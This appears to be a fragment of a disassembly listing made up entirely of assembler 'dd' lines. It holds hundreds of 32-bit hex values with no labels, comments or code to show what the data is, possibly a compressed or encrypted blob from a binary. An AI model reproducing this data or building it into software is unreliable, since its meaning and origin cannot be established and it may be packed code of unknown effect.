		dd 26A6AFF4h, 1E8CDAAh,	0E789550h, 3AABCCCCh, 0F200BF7Eh
		dd 0EF1ECB64h, 1D2A305Ch, 0C0DFE04Dh, 0AD0374CEh, 3F50E9AAh
		dd 44000CC0h, 933EB71Fh, 0E8F2F5h, 75956294h, 0D6C15056h
		dd 3865EC00h, 0F89F7D98h, 7EB20035h, 10EB4B67h,	753B2431h
		dd 56B00358h, 0C84C7B80h, 0FDF540h, 7207E8C5h, 14B86F5Bh
		dd 1B87A200h, 0CC9B77A7h, 19E23D4Eh, 0E7F92Eh, 0F32F1286h
		dd 47006D4Ah, 95533CC4h, 3B4C7128h, 400857Ch, 0AED7A69Bh
		dd 72245DAFh, 0E300ED17h, 0EF6BB6A8h, 7E4EB82Ah, 0DE1E00E4h
		dd 0E2931F0Dh, 6E00DA90h, 0ED2363ACh, 0D6A19Eh,	0F6838E8Fh
		dd 0D522307Dh, 915E1F01h, 9E071971h, 1293DC20h,	315E19Ah
		dd 33C76C73h, 0A33AF9E0h, 706E03Ah, 64EF4472h, 1E894170h
		dd 5ABE00B2h, 52CD6207h, 7900821Bh, 28DC615Bh, 189F8E3h
		dd 9B2F6BB4h, 0E97E131Ch, 0EA2880B6h, 0A2F6C821h, 265C076Eh
		dd 87A0795Fh, 75C0EE44h, 87DB3AEFh, 0D3721913h,	343F40Eh
		dd 0C1D238E3h, 7470182Bh, 0BE020027h, 0FE10C478h, 173E191Ch
		dd 0EA6B0076h, 3E4E25DBh, 0B9E505B7h, 805EED98h, 2450B6D0h
		dd 0FC7B9600h, 0E310F07Fh, 14E0084h, 15773DEBh,	860AC925h
		dd 0BC6C0398h, 24702Fh,	9153B1E1h, 0BB605E6Eh, 78F7100h
		dd 0F5AADC55h, 95CC127Eh, 6FB840BEh, 803BE2C7h,	0B1590C00h
		dd 3CA5058Fh, 0A6AE0065h, 436473CEh, 0BC0C6AEFh, 68900B2Bh
		dd 343C098Bh, 645EBBC5h, 4F5CAB00h, 580B9Bh, 3CFD3ADAh
		dd 633F47C7h, 8DAA051Eh, 0CDF43830h, 0B868180Ch, 3082108Eh
		dd 0BD4A520Ch, 205798F8h
		dd 0D52772FCh, 0C124017Ch, 0ABC4514Eh, 50A100F4h, 115DE008h
		dd 3F002BD9h, 727880AFh, 544BD81h, 0A74A6DFFh, 17AB8C9h
		dd 5351F49Fh, 20212Bh, 0C07A01E9h, 0DAEA5E3Eh, 0ED07F434h
		dd 0D8000898h, 44B3AEFAh, 299FA5h, 4671D122h, 0F41EF725h
		dd 4E0181F0h, 2A423AF0h, 0A860F50Dh, 3B620071h,	0B91E8CBFh
		dd 0AF092F72h, 81DB5569h, 6797FFE8h, 19081C4h, 6202F9BEh
		dd 0F8BB5D61h, 0C4E0EBECh, 9A832326h, 0BC5C4100h, 0C49A8CAh
		dd 5BF055DCh, 350FB311h, 666D4454h, 97838C2h, 0ECB78A08h
		dd 59095C6Ch, 71505Fh, 75C2F3E8h, 9F3F00F0h, 0CF911D2Dh
		dd 0D4127C4Fh, 0A00033D6h, 685AB34Eh, 245F4E1h,	700A0ECCh
		dd 2870116Bh, 0D3C0F11Dh, 0F5956E80h, 2587B91h,	42E41225h
		dd 0BC689985h, 5600D7E2h, 0F13E7EADh, 0C7DFC6h,	7C8EB9C8h
		dd 370CFDD9h, 0AA359500h, 0D2F4A4F7h, 26F845h, 0F6D7A9ACh
		dd 5DC249E8h, 0A87A3Ch,	6A545205h, 7CE1B76h, 979A383Eh
		dd 0B8DE40F5h, 0D5132D68h, 0C8C1DBD9h, 0D8F09F6Eh, 7B6A004Fh
		dd 23038869h, 0F000A4F4h, 0B7E6DD05h, 1211CC8Dh, 0B1DEBC0h
		dd 9020910Dh, 6DF6F75h,	9289B01h, 61D559C4h, 0BD868480h
		dd 71896468h, 7F925E02h, 0E83484CCh, 287C87Ch, 18D3790h
		dd 9C4062B4h, 300CC16h,	3999AFA6h, 0E0AE57h, 189109C0h
		dd 0EEA9B9DDh, 3BAB471Eh, 80886440h, 43018Ch, 0EAAD495Ah
		dd 0FD3620E7h, 4E5EA8A0h, 0DE191600h, 241E32D6h, 6576012Eh
		dd 0E0A5B386h, 0F00AF356h, 0DE7E897Ah, 20669800h, 17C19DDh
		dd 0F0FEEE82h, 2005E059h, 0E97A63DCh, 79D60A00h, 0CE4BFB49h
		dd 362B0198h, 8873AFB4h, 2EBF42Fh, 0D0134800h, 0CEFF5503h
		dd 762B0051h, 0F7CA8BC5h, 47005442h, 4B65F492h,	50DF26C2h
		dd 35F8870h, 0D4E49C08h, 0CFA6187h, 0DEE2E8E0h,	9467F000h
		dd 10F89E82h, 0AB12010Dh, 31D70411h, 4BEF43D1h,	7B0011D6h
		dd 30663CCFh, 226502Eh,	4EBA1B55h, 0ACC006E6h, 1109AC03h
		dd 918FABD2h, 1C8C158h,	44414CCDh, 0E10D8105h, 0E0E80005h
		dd 0BD9AEDD9h, 0FC0C0304h, 0B4E0C031h, 3A0744B8h, 0A6FBCC1Dh
		dd 60078E6h, 7ABA51C1h,	0E8EE4C7Ch, 0AB188807h,	0E0ED74D1h
		dd 96005CBCh, 12DF3861h, 0E09D013Dh, 0E1E0926h,	0F1802357h
		dd 94B7F24Ch, 2F2B3F03h, 7686Eh, 0D5ADD6A0h, 9DA76A27h
		dd 5991DE00h, 337D54C2h, 5C2C001Ah, 0A5AF6EC7h,	0A60BB4E6h
		dd 8B98B06Ch, 3DDD00BBh, 510A875Dh, 0C0E4B90Bh,	30DC4CA5h
		dd 0F6B1AF00h, 6E1E1176h, 0B272DF00h, 1C0A6CB8h, 0B0E1009Ch
		dd 19D2F3D5h, 8C0904B4h, 8710FAADh, 80A669Ch, 6745C301h
		dd 71D41D27h, 0D7120477h, 0C8A70618h, 4700A530h, 0B0194838h
		dd 123A3722h, 0C0ED53FFh, 0C88DDE24h, 0B69D8500h, 68B9F7E5h
		dd 95E30760h, 0E06CAB8Eh, 0EDDF9CF5h, 2FF3C40Eh, 9F1CC18Ch
		dd 0D7F44C04h, 0EC7A0024h, 6DAA6652h, 0F207449Ch, 0B85540C4h
		dd 371B07F0h, 70B70B49h, 40150D0h, 0CD3E81EDh, 8FFFCB5h
		dd 0E64C8E1Dh, 0C21309C0h, 0D08203h, 16E25A2Ah,	0F045A597h
		dd 1D7438E5h, 654032ADh, 0E272631Eh, 35E61785h,	30E442C9h
		dd 0FD604275h, 0C8007B26h, 25C1B51Dh, 771A11h, 0D7BB1CC5h
		dd 69F3BF2Fh, 17424600h, 196323BCh, 3029060h, 30B9A651h
		dd 0DFD8EE5Ch, 92091BC3h, 4007425Ah, 49B0FAD4h,	790048E0h
		dd 15C85065h, 0C6034FA8h, 76EE6695h, 5F2100E1h,	75B7075Eh
		dd 0EA0E4FA6h, 83E3A8DDh, 750586F9h, 168C151h, 0F57D0A07h
		dd 254FD0BEh, 0E42C0400h, 0B0ADF0C3h, 0DDC000BCh, 16A63D5Dh
		dd 890C742Eh, 0B0D797FBh, 864BA0h, 226CDB48h, 880CC331h
		dd 5807551Fh, 0E60E19F5h, 93F0991Ch, 0DF0C2088h, 0A2270F4h
		dd 9DB2D1FAh, 0B1F20424h, 0B66D066Ah, 0DEEC40C1h, 42FAEA06h
		dd 217F2Eh, 8A869AF2h, 810E3F77h, 5CBA2A09h, 27805770h
		dd 0FC4B6B3h, 0E0076A0Eh, 2F5A8083h, 6C0BCAh, 0AD7047DCh
		dd 0F6F19203h, 7F2B5500h, 14736741h, 727FA07h, 0E48CEF82h
		dd 0A8E060B9h, 78982601h, 0C514FE00h, 20075938h, 560F6004h
		dd 9D8185D4h, 4D427004h, 0C907339h, 2E23CDE5h, 809CC40Dh
		dd 27164F40h, 92074B5Fh, 0D68E3AF3h, 68BF80BEh,	7BC02AAAh
		dd 0D0BE0036h, 748DFE59h, 0C300CE11h, 43D67CAh,	5948CBE4h
		dd 2D7C2C90h, 78878968h, 111EE0E5h, 6B00366Ch, 0DCDA7479h
		dd 0E2A4C1h, 0CF2F6881h, 80E57065h, 0A7291F64h,	11A69B21h
		dd 313D0BBh, 73D34484h,	44A96444h, 6744CE37h, 5E2F442Dh
		dd 44AFEC44h, 5C42D863h, 5B0410B6h, 76C2FA40h, 0EC7C306Eh
		dd 0B8B73Dh, 18F875CEh,	0EDAF4Dh, 0B254C404h, 1C490EAEh
		dd 0FC2ACC07h, 6A8023ECh, 1E306CE3h, 408EDA37h,	0D9F14353h
		dd 6E0011BBh, 9BCBA5CDh, 1F02FFFBh, 0BA9410h, 8E55B8D0h
		dd 1200C66Dh, 26BE8D48h, 0E813A840h, 4180F32Ch,	4F3B1D9Dh
		dd 0CF003FBCh, 3C44A0B2h, 0C5AA89h, 527B864h, 2D5FEF76h
		dd 8094CC38h, 0DF84254Ch, 60D5Ch, 2368A686h, 431E6B38h
		dd 1169AC00h, 808AA1B2h, 54590050h, 10A40F84h, 1602869Ch
		dd 0C8B22A3Ch, 9C05749h, 0A1C3663h, 1F001DBDh, 53D33F54h
		dd 8B5103C2h, 0A602111Ah, 10DD14D8h, 49EACC0Fh,	0A1C912h
		dd 372FA5F0h, 9AE400F9h, 0B2032BC8h, 9FF09E7Ah,	0A8049400h
		dd 8EA6D461h, 856F0040h, 1BAB0287h, 66FA9D33h, 83FC7F3Fh
		dd 8AC0486Eh, 0D0C8F1F8h, 5F928C40h, 0A77825h, 93C47AD8h
		dd 994630B2h, 52E98D03h, 0B0DDE35Eh, 5B15B1h, 58F18A4Fh
		dd 4649FCCEh, 818C1300h, 0A2D71680h, 174B03CAh,	876E6DAh
		dd 0D6E743B8h, 1C964600h, 0E3698134h, 0C52101A2h, 259E2CE1h
		dd 0EDAC2477h, 6FB44800h, 22F213D4h, 50E93ADBh,	8B03713Bh
		dd 73CFABF9h, 3C8232B8h, 2EFEE50Eh, 7E4283F5h, 9721C704h
		dd 0FEC5CAAh, 0F4C509B5h, 2C807269h, 0F5E5F358h, 54DBCF00h
		dd 4EC8F83Bh, 7D3C0F59h, 0F2E0D372h, 6F0D8CC7h,	25905F73h
		dd 3E06EF38h, 2F2A0777h, 0A38104F7h, 0E5E093AAh, 79B089h
		dd 604E2DF9h, 0F87FB1F0h, 0B8BB7C1Fh, 2EF45800h, 45B903h
		dd 996E4382h, 253604E3h, 84A067E0h, 441FB675h, 61428A70h
		dd 405309ADh, 68239Eh, 0CDCE5940h, 0F3458266h, 98EC3E09h
		dd 0FFB000D3h, 761CFC38h, 7AB019h, 7ADB8109h, 15D1C4D0h
		dd 3072D200h, 5B6E42A2h, 0ACE84CDAh, 0DDF9D500h, 0CAE2938Ah
		dd 0A1C7691Fh, 3A00AC68h, 2C49D1F2h, 4D38DCh, 1F371199h
		dd 6E5A5D4Eh, 3E84F33Eh, 0F6D88E0Ah, 3B42A05Fh,	18BC152Eh
		dd 80728199h, 8D7E7E4Fh, 0B10025FEh, 33756601h,	24AB44h
		dd 453F991Ah, 0AFD9FE35h, 0D860A300h, 8C4C61EBh, 4FA19h
		dd 999A92C1h, 824209F1h, 0C9280600h, 0D3DBC2D5h, 329D1F3Bh
		dd 2ADC801Dh, 71F7AD05h, 6E8BE907h, 4250118Eh, 39ED6B5Ah
		dd 0A802FCDEh, 89EB4FD3h, 16C70C40h, 7F18E9E4h,	58306563h
		dd 0AFCA006Bh, 4D9A3381h, 0A4BAC118h, 103F0224h, 3FFD01Eh
		dd 4EC66AE7h, 9F728093h, 751B046Fh, 0C0F881D3h,	0ED4C894Ah
		dd 39B81900h, 0F2994A70h, 0E4C401A0h, 5B617EF5h, 0CB302037h
		dd 6665AA00h, 0A8625209h, 1C9A00ADh, 0B8EFDBDCh, 0EA0078B5h
		dd 0E3A30210h, 0DA3BC0h, 0ACFC153Dh, 4D113BEh, 8A364600h
		dd 0D565ABA3h, 0F801002Bh, 6D62AD03h, 1BF6F066h, 34A02D00h
		dd 0A9EF2191h, 701800AFh
		dd 89AD1D23h, 0EA775DA6h, 0B20EBD00h, 80083A57h, 0FD32984Fh
		dd 14C6670h, 2F7B51AEh,	0D8ACF32Ah, 3B00057Ah, 1BF961EFh
		dd 1F452E5Bh, 82F19A2Ch, 0B752F40h, 0AB014C60h,	0C605BE0Ch
		dd 0B1FEC066h, 85F10000h, 0ACCCF5B6h, 0D7AA6B1Dh, 40D2FC0h
		dd 0BCD422h, 91E0162Bh,	0DDCF29C5h, 3B093679h, 80DEE91Bh
		dd 0EF0E064Ch, 35BD00A6h, 0ECFBC6C2h, 0E90188Dh, 58A58726h
		dd 16F6AD87h, 238AFAD0h, 39D9003Ah, 0A3E0FB30h,	0D31F730Ch
		dd 7EEE1BC8h, 0C05BE325h, 281C164Bh, 0E88F52h, 740B3403h
		dd 14B7DE35h, 1856AD03h, 90B90999h, 374008h, 5BE339FCh
		dd 492E95Dh, 74426B00h,	0ABD6DAE2h, 19400B7h, 0D7862CA3h
		dd 7200C00Ch, 0AE0757E8h, 0C82021h, 0A32622C3h,	33D51550h
		dd 9F04AD0Fh, 0CBF28055h, 94D421C1h, 6399000Ch,	0C4964D2h
		dd 55A88B07h, 9150E576h, 72D0E8B9h, 71E4160Fh, 0D79000D3h
		dd 0DEDF2EC5h, 25090D00h, 0CA5810D8h, 6C063F15h, 2E52B07Ch
		dd 173ABD08h, 9CFB1056h, 34BEC280h, 7603EDC0h, 0BB7D6DC9h
		dd 0EAE8C079h, 2C4C0371h, 3686949Ch, 30A08B98h,	0F5DCF801h
		dd 204C4A6h, 0FBD824h, 6BEFE88Ah, 327D5367h, 77861201h
		dd 0D698297Ch, 4865D7C0h, 387C70DDh, 48276B9Dh,	0C22ADC01h
		dd 200644Fh, 0FF0698E6h, 0C0C6A305h, 6012039h, 78F8CC09h
		dd 38A8007Ch, 39FBD203h, 4D80804Ch, 162818Eh, 9600915Bh
		dd 87F52F9Fh, 3DA68CABh, 55BBC4BAh, 9816E880h, 8628CA97h
		dd 2CC9C600h, 8F8C9C71h, 49F90081h, 0D5C1CF4Dh,	52F80105h
		dd 8324EA3Ah, 86223004h, 838AC03Bh, 351A00E8h, 0FDDEEBA4h
		dd 2059E62h, 95D2AFF8h,	9F00FC0h, 0CEEA005Ch, 8881900Bh
		dd 49584D71h, 9AE900E6h, 0DF23B084h, 51AA03A0h,	0B9D50C43h
		dd 67C89FB3h, 4B006AEDh, 0DA72FBFFh, 98A6191h, 0ACFE8E47h
		dd 0A0E9C287h, 350842F8h, 883A8C00h, 0F569EB2Ah, 6B3F00B1h
		dd 0E023D8C3h, 3C000A18h, 0F4C25C1Dh, 908917E1h, 6FB00076h
		dd 84D6C99Fh, 0A2005B39h, 0B1CF0B74h, 0C77C728h, 9BA18FCDh
		dd 0FF2E8240h, 95033D54h, 9649E478h, 3B6E1F7Ah,	0F1D580C7h
		dd 0D829CCA3h, 3CFA803Ch, 0BB0B806Ch, 42B0F302h, 78351E7Ch
		dd 0FABE0008h, 0A0611879h, 0DC8E1503h, 0A033F80Dh, 20D839h
		dd 0F1A7BEE3h, 2843BB12h, 2F785400h, 294B0387h,	79E176A9h
		dd 80C40CCBh, 0B2F26B23h, 90046B0h, 7175DAD0h, 7913CEA4h
		dd 0F42A78A1h, 933F4CF6h, 0DC159500h, 0FA36F93h, 50C7A700h
		dd 0F463116Ch, 1BEEA8h,	3F0E50Ah, 15BEA9D9h, 92DCB603h
		dd 0F86DC595h, 75CE29h,	721846F3h, 8D11AB7Fh, 7AB3C805h
		dd 8400FDFCh, 790295ACh, 605F3E6Bh, 9A6D9386h, 7100E2CEh
		dd 90A2BD76h, 0E0A5CCh,	4AA0ED7h, 5A51A02Ah, 0AE71C203h
		dd 0C8E91D7Dh, 2CD387EEh, 0CFC594h, 78B89A88h, 0AF000BEFh
		dd 7663D1F7h, 298792h, 43ABF1D6h, 39B46E04h, 5F27F800h
		dd 0CE57B84Fh, 0C11A00ECh, 0B971D7D1h, 6802AADCh, 0B81D5FD3h
		dd 809C895Bh, 475D48F8h, 94C001F7h, 7233E98Eh, 5652CC0Fh
		dd 2C3DF201h, 7764DB9Dh, 535A841h, 48E40161h, 9BE0032h
		dd 81EAB930h, 8E1EB479h, 9DDCFFCBh, 183E77C0h, 8DF82Ch
		dd 18BB7ACh, 0F38CE36Ah, 41B6E003h, 0F83E8097h,	30479864h
		dd 90D02BB8h, 2203B150h, 5EA973DEh, 2A698848h, 0F6390086h
		dd 67339EE5h, 8013028h,	0BF8EB36Fh, 0A9EC643Dh,	0B27E7Bh
		dd 0FF8D40E0h, 0D68FABEDh, 3D162C0Eh, 0D009B388h, 739400F3h
		dd 1E55E9C2h, 66B401h, 0AC58FB89h, 7D00CED3h, 6751470Bh
		dd 3DA3EFCh, 25E04C7Ah,	17E00AF1h, 14005C6Ch, 5A0281AEh
		dd 0FEB2FA1Eh, 0DCCE0077h, 0D5F9A455h, 62038AE3h, 0D9E486B7h
		dd 68800015h, 145DAD25h, 651F352Ah, 23801109h, 0CAFF1F4Fh
		dd 12952401h, 73A50094h, 3C402FBBh, 2A500500h, 69C811Ah
		dd 0B3313A11h, 0A18068BCh, 0BD5D28E4h, 5C0095E7h, 0AFF77A7Ch
		dd 17328185h, 14D23158h, 4976CC5Eh, 3400C8F5h, 57E9ED51h
		dd 7A09B1D0h, 0EE3B18h,	73A60779h, 6438039Dh, 0D232A062h
		dd 8BC04DB8h, 0ECB55700h, 557DF151h, 0E2A70095h, 5ADE3D52h
		dd 0FD2859B9h, 32009C7Ch, 0F034C630h, 0BBF541h,	0C209BC22h
		dd 0C8B3AE1Fh, 3518A600h, 0A87AF75h, 0F47C00EFh, 4E38FE06h
		dd 24007BDFh, 277EFD39h, 70CD1830h, 78F60307h, 0BA97A1EDh
		dd 8D388790h, 8ECC4024h, 0F00ACF00h, 26683981h,	48DB15h
		dd 0B29F277Bh, 18007D9Bh, 6560088Eh, 3D9692h, 73C30CFCh
		dd 15724833h, 712B2701h, 3A44E6A9h, 3FF2ADE0h, 0E4818892h
		dd 0CF2062A7h, 0F84C2107h, 7300101Eh, 185EF6A8h, 0EBE04113h
		dd 0C168ECh, 0B3AC4309h, 0E97CD236h, 6895D0Fh, 0D8B7607Bh
		dd 0E52DDDh, 85F6B933h,	0E08C459Ch, 610CF800h, 3270361Fh
		dd 7F7F065h, 9AFEDB21h,	0D0505068h, 373BAB0Dh, 91190030h
		dd 1A0A9241h, 2BB21D2Fh, 6F4D8080h, 0AA752046h,	2C77741Eh
		dd 4C780640h, 1F82595h,	6479FB35h, 43287F2Eh, 0BA823F9h
		dd 0EF02ABB4h, 0D3D25D3Bh, 53C88064h, 3ABF88h, 0D96CC52h
		dd 839467B9h, 8A2AD93Ch, 0E4AE1B87h, 291E5400h,	3248C53h
		dd 1DCF76BAh, 5EC86911h, 2A00C396h, 8707BDC9h, 543EF7h
		dd 8DD9CA98h, 0B45A23A7h, 0F1249090h, 0FE008474h, 3B8CD7E3h
		dd 82150016h, 0E9DCEBE6h, 171D053Eh, 0E3406498h, 0C0B2D6BFh
		dd 3A798E1h, 9BEECA36h,	0F380FFF5h, 7C09D348h, 1259ED0h
		dd 6113320Ah, 0FA54BEF0h, 14CF005Bh, 9AE2F3Fh, 0A003A7Ah
		dd 0E528C549h, 40716E7h, 0B8AC7988h, 2F1C9039h,	1301043Dh
		dd 105B2D8Dh, 5DC07E74h, 976F3B4Fh, 39C21989h, 5089CC07h
		dd 265FF276h, 32EA10C0h, 812351h, 0A14E588Dh, 629C342Ah
		dd 0F970E930h, 10144Ch,	68FB1F7Bh, 5D24401Eh, 0A62F711Ch
		dd 1C7DA7C1h, 96C02E65h, 0A8EF09CDh, 3880756Dh,	0A69A393h
		dd 0F5EAAF00h, 0EBA9F32Bh, 82B8004Bh, 0BC277FD4h, 4A7F81F1h
		dd 3463F03h, 0F0EEA63Ch, 1C051BFh, 9FBBD8DDh, 0E41399ABh
		dd 0ACE49A61h, 57E06E00h, 0C02EFEDh, 7D940CE1h,	0E911D3FEh
		dd 9797C00h, 7F4D5195h,	0FDE20086h, 7326AF58h, 34A03834h
		dd 0D2003BBDh, 0C45F6D66h, 1DFFAF8Fh, 1FEC768Bh, 1129EA6h
		dd 6BF4C083h, 57BDE443h, 0A29C1700h, 1B0365C1h,	442F0080h
		dd 5C5696D5h, 7D0085F3h, 6F83D706h, 971A7Bh, 0FEE864A8h
		dd 0F5E4B62Fh, 0E96B9A00h, 28D77C03h, 59FD00DAh, 0C5CF44B1h
		dd 0AA0F823Dh, 6014D53Fh, 47101D21h, 0C24D025Bh, 0A185F070h
		dd 55ABFE0h, 46272801h,	0AD1CCD37h, 403470h, 0B264BCD7h
		dd 0CC44C21h, 44E2940Fh, 0C34B2E19h, 0F81D27B1h, 9A46D2h
		dd 0BF6482CFh, 556F98B5h, 8C0A4F00h, 0DBC4B407h, 606A01C2h
		dd 0FA2C5727h, 2271A7h,	43E74190h, 9FA65200h, 83F4D907h
		dd 803A077Bh, 5F7E4BF6h, 0FA2B81E0h, 3700F095h,	0FC3521E7h
		dd 0CF29AFh, 54AD06ABh,	52F3AE18h, 0EA974600h, 0C558C4Dh
		dd 0C83E0208h, 1BCBF1F9h, 0EDA828C3h, 68014D36h, 5FA4B027h
		dd 90FB4A77h, 9F7B827Ch, 6011958h, 0E620FF2Eh, 4D9EC53h
		dd 39ED20h, 8EE03663h, 5198836Bh, 0FCF1A203h, 0C8B83F2Eh
		dd 50A721E9h, 3FEDEC71h, 5480A07Eh, 7D4CC0Eh, 0E7000248h
		dd 0BB991B37h, 3BB8C6h,	901772C2h, 0FDDEC4D8h, 11711F31h
		dd 0ECE8E65Dh, 0ACED00F5h
		dd 0E4C01D4Dh, 7100A3A5h, 0DD46F866h, 0D6A4972Bh, 4D230370h
		dd 0A3C01AE7h, 5C37FC49h, 0EE7288F8h, 15148041h, 3ACF4DB0h
		dd 9331A02Eh, 8AE7EDDAh, 14919A59h, 983AA811h, 0BE4F5B0Fh
		dd 3830E106h, 74A057F6h, 94009FB7h, 0E73827F1h,	16ADC7h
		dd 83ABD7E6h, 0F65D1730h, 77B22900h, 0A21E4B79h, 7E6718CBh
		dd 9DEB39E6h, 60FC1D14h, 80783F58h, 7302197h, 0E888101Ah
		dd 3922281Fh, 0E9460154h, 0BDE46E5Bh, 6551DCBAh, 0A11ED03h
		dd 0E03A9D94h, 1FBCC9Bh, 55D01D78h, 6F66F4FAh, 7312E0h
		dd 9ADE3B43h, 1F0AAB80h, 0D00607Ch, 0F2D3C5B4h,	2B812C9h
		dd 8A3172F3h, 0C980C3F9h, 0D3F8CACh, 445BAF00h,	1E3AABF8h
		dd 5F9054h, 0E74F8458h,	25231629h, 0C35CB300h, 0FA610E4Ah
		dd 316E195Ah, 20C21E4Dh, 750985C5h, 0D74A59D5h,	38951500h
		dd 0CDF42051h, 8B72FB0Fh, 0B39240BEh, 7208AC3Bh, 4B32002Fh
		dd 0BAD25F05h, 0E101FEDFh, 0CF2D4B9h, 9C50ECFBh, 2BBB91h
		dd 16C63D66h, 1FA86C5Bh, 0B7EE8100h, 82F11DB2h,	70D803C9h
		dd 6C6D9E43h, 752A3800h, 573C45D0h, 167C21h, 0F017BD82h
		dd 0DC3A785Fh, 69024C1Ch, 0A399E987h, 73C5A225h, 2E741407h
		dd 0A0042179h, 0D050E0D5h, 1B0E7E4h, 24DB17E1h,	0C4CA2F0Ch
		dd 9400AC8Bh, 0D0DFEE82h, 76D5F16Fh, 96000EDh, 0EF0499C9h
		dd 0C475221Eh, 8979F904h, 4894B046h, 40CF2AC2h,	4B540Ch
		dd 82E0B306h, 301AEB9Dh, 8633AD3Fh, 95B58E09h, 0D4840091h
		dd 0AB869CE5h, 3C2469A0h, 0F9008CC9h, 0AA13C4FFh, 3DE98EEh
		dd 310F7787h, 0C8C8F156h, 0E47F6F20h, 0E5A92700h, 26A3097Ah
		dd 51DC00B8h, 22EFBAC9h, 0FA00E03Bh, 0B3E65577h, 0F6BD418h
		dd 0BB3CC6EAh, 7CD15107h, 0F100C908h, 6B74E83Dh, 368A4E0h
		dd 0AF3971F8h, 5E048A3h, 0D2002F5Ch, 0D67703FBh, 0F2727B44h
		dd 0A8BA06C8h, 48EE2092h, 4FA7DC07h, 59CC4E3Eh,	250E003Dh
		dd 3507A647h, 5800FA93h, 5AA4F2FDh, 0C1D4EC0Fh,	987D7F29h
		dd 0D8F0F3F1h, 0CA00C394h, 4AB844A8h, 2FA5D15h,	0C76692CDh
		dd 0CC40FD59h, 0D030875Ch, 889741E9h, 8D40021h,	1D761514h
		dd 6200E090h, 0CCBDCEBBh, 60C5E683h, 89A299C6h,	0F81531A1h
		dd 0B98EFB1h, 670E78h, 467B2BBCh, 483D260Bh, 6C0039A6h
		dd 0CD6A74A9h, 0BE3DDE51h, 4A1687DCh, 8B60FDC6h, 0F3F99BBDh
		dd 98AE8C43h, 600CDE8Eh, 93B35819h, 0A51E318Bh,	69DD866Ah
		dd 5CEB6301h, 9448ECC8h, 103831D1h, 8093A931h, 0E329FD19h
		dd 7CE842Dh, 803032FFh,	9D535033h, 0A0C2BF9h, 393F10EAh
		dd 0EF6F0088h, 0DC7FF080h, 0BB0CE6AAh, 21EB1101h, 874B001Dh
		dd 0A3D1F2C2h, 16005ABFh, 0E4346E52h, 0D095E0h,	70E7A32h
		dd 2C5D9F4Bh, 8B863Ch, 62DAE613h, 0F47D8E77h, 0BBCE1C21h
		dd 0C406C06Eh, 0FCDD8D12h, 7C03B4F2h, 886227FDh, 0B90A91D8h
		dd 1D0C7DC0h, 17EC1D0h,	95EC19B1h, 0A55730CCh, 5AC0D100h
		dd 0C4C1D74Ah, 42B7031Ch, 9F400A0Fh, 0C50699C8h, 0FDE309DFh
		dd 0E4EB8EC0h, 0E87B8FDDh, 0F8E01924h, 0A4C00F26h, 67E08CBCh
		dd 7DEEFA04h, 31CFD50Fh, 853C40D2h, 302DDDE3h, 9B29A6B7h
		dd 7380FBB9h, 86D888C9h, 88A5F688h, 3C88B8CFh, 0EE33415Dh
		dd 889B6710h, 79C20383h, 0E32398Ah, 0EC111414h,	3C17289Eh
		dd 42C68822h, 7CC8110Ch, 31288B28h, 2829CC70h, 5B571088h
		dd 413F81BFh, 883E8328h, 8C87B479h, 0F3296FE1h,	24ADC9C7h
		dd 3F2F7DF0h, 0CCA003Dh, 0F596B1FAh, 0E8000B30h, 29435AF9h
		dd 28F7B818h, 0A4DD3Eh,	212ABAC3h, 8C0B9C80h, 3082054Ch
		dd 0F2EE0691h, 0A4D7000Dh, 0B4F12DC1h, 0CC00C7E4h, 0B357BD2Fh
		dd 0B85F2Eh, 9D8CE514h,	1F84CA7Fh, 6C9CDE0Eh, 0CDD4406Ah
		dd 0E125BA1h, 4FD715E2h, 0C702007Dh, 68B83BEDh,	0F0DA7800h
		dd 8730E629h, 0EBE081h,	2FBCB44h, 2BDCF37Eh, 46237D03h
		dd 0D0BCE539h, 1D6A1404h, 31FB1Dh, 197D4083h, 4202A86Dh
		dd 3E325C81h, 0D32440DEh, 38110055h, 0D468FEAh,	0C500A424h
		dd 0EDC6C321h, 0B8A89F63h, 0CB42039Ah, 7F1CBC99h, 8271A1A8h
		dd 1D377700h, 498A911Bh, 4C5548A6h, 90027200h, 43274AC6h
		dd 702A410Fh, 0D481C08Fh, 4BCB84h, 19C19CCh, 2608BED1h
		dd 4800C77Ah, 95A84C11h, 5A6210h, 54FAED46h, 0C20C48Ah
		dd 80F5CF3Fh, 8EC8E983h, 0FAA16ADAh, 783F3D75h,	0F3CB5E87h
		dd 0FEDC4056h, 0BE7FC7A7h, 0F1F058h, 2ACA0CABh,	39D526h
		dd 77B587A3h, 53A5B91Bh, 474B7B1Fh, 0E0F48ACEh,	0B620B4D2h
		dd 1A737Fh, 16507037h, 0CF77FD86h, 0AC1DD100h, 0EB568E13h
		dd 0DFFE36h, 47580A53h,	0F17220ECh, 4ED7C900h, 0DC33465Fh
		dd 94280307h, 0E47FFA70h, 9AE26998h, 0F7E1E81Fh, 59156043h
		dd 1BC0B8B7h, 0A8EC88h,	69683C9Ch, 0A1917FB0h, 34C8CD00h
		dd 81D927F7h, 6BF10048h, 1E301709h, 0F9058C39h,	0C6046583h
		dd 0A09FD80Fh, 3CAC1881h, 0B438001Dh, 6F6CF0D9h, 5DB01B2Ah
		dd 0F85D2700h, 24C9937Dh, 63C10791h, 0F01930C6h, 7E350C1Ah
		dd 0A13AFE0Fh, 0EA784050h, 7144FEFh, 56236B33h,	45380A0h
		dd 83003CDEh, 0A241B582h, 0C7D975h, 692B60C4h, 7D68EAAEh
		dd 0B500ED71h, 9E6F64F8h, 0E7C339h, 63F3431Eh, 8D96A2D3h
		dd 16135900h, 9F9022B2h, 0D5FB013Dh, 473AD0F1h,	45A4F889h
		dd 2B1E0103h, 0A3E0923Bh, 12C08FE3h, 50F846h, 7E96C8Eh
		dd 0F6AB6362h, 0E842CF2Ch, 4E83AC00h, 4B8CC3h, 0F80B5B0Fh
		dd 0EF561AFEh, 0E31EE09Fh, 2EA6015Ch, 38669724h, 44C7F06Fh
		dd 5972901Ch, 9106BB00h, 4CFA41h, 0C008FF73h, 0F9ED774Eh
		dd 0B5074B00h, 2506D523h, 340A00F2h, 9247B461h,	0CE3D4D4Eh
		dd 598B87EAh, 0DCB01889h, 1899F8F4h, 822A2743h,	0E8028F41h
		dd 69AE5D06h, 570880B2h, 0EA0F3A8h, 280C4BD4h, 0DA8E0072h
		dd 0D9E8D294h, 95C348h,	8D58DC2Ch, 0C456B4h, 4D42DF7h
		dd 0BAE9141Bh, 8054C7Dh, 0ADA6DBC6h, 0ACE6E400h, 0F5351Ah
		dd 174CF009h, 97B6B458h, 1C004E71h, 5B2F7A2Ah, 0F8D85DA7h
		dd 0B3C714D3h, 0EC1DEC7Bh, 0D2FB80E6h, 3022ACC4h, 20004C76h
